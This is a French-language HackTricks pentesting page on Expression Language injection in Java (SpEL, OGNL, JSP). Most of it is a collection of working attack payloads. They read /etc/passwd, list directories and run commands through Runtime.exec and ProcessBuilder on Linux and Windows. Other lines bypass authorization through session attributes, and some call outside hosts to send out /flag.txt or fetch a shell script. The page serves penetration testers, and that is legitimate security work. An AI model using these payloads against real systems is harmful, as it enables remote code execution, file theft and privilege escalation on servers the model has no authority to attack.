hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

# EL - Expression Language

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## Bsic Info

Le langage d'expression (EL) est essentiel dans JavaEE pour relier la couche de présentation (par exemple, les pages web) et la logique applicative (par exemple, les beans gérés), permettant leur interaction. Il est principalement utilisé dans :

* **JavaServer Faces (JSF)** : Pour lier les composants UI aux données/actions backend.
* **JavaServer Pages (JSP)** : Pour l'accès et la manipulation des données au sein des pages JSP.
* **Contexts and Dependency Injection for Java EE (CDI)** : Pour faciliter l'interaction de la couche web avec les beans gérés.

**Contextes d'utilisation** :

* **Spring Framework** : Appliqué dans divers modules comme la sécurité et les données.
* **Utilisation générale** : Via l'API SpEL par les développeurs dans des langages basés sur la JVM comme Java, Kotlin et Scala.

L'EL est présent dans les technologies JavaEE, les environnements autonomes, et reconnaissable par les extensions de fichiers `.jsp` ou `.jsf`, les erreurs de pile, et des termes comme "Servlet" dans les en-têtes. Cependant, ses fonctionnalités et l'utilisation de certains caractères peuvent dépendre de la version.

{% hint style="info" %}
Selon la **version de l'EL**, certaines **fonctionnalités** peuvent être **activées** ou **désactivées** et généralement certains **caractères** peuvent être **interdits**.
{% endhint %}

## Basic Example

(Vous pouvez trouver un autre tutoriel intéressant sur l'EL à [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))

Téléchargez depuis le dépôt [**Maven**](https://mvnrepository.com) les fichiers jar :

* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`

Et créez le fichier `Main.java` suivant :
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Ensuite, compilez le code (si vous n'avez pas `javac` installé, installez `sudo apt install default-jdk`) :
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Exécutez l'application avec :
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
Notez comment dans l'exemple précédent le terme `{5*5}` a été **évalué**.

## **Tutoriel basé sur CVE**

Vérifiez-le dans **ce post :** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)

## Charges utiles

### Actions de base
```bash
#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### Détection

* Détection Burp
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
* Détection J2EE
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* Dormir 10 secondes
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Inclusion de Fichiers à Distance
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Liste des répertoires
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
### RCE

* Explication de base de l'**RCE**
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
* RCE **linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* RCE **Windows** (non testé)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* **Plus de RCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### Inspecter l'environnement

* `applicationScope` - variables d'application globales
* `requestScope` - variables de requête
* `initParam` - variables d'initialisation de l'application
* `sessionScope` - variables de session
* `param.X` - valeur du paramètre où X est le nom d'un paramètre http

Vous devrez convertir ces variables en chaîne comme :
```bash
${sessionScope.toString()}
```
#### Exemple de contournement d'autorisation
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
L'application peut également utiliser des variables personnalisées comme :
```bash
${user}
${password}
${employee.FirstName}
```
## Bypass WAF

Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)

## Références

* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)

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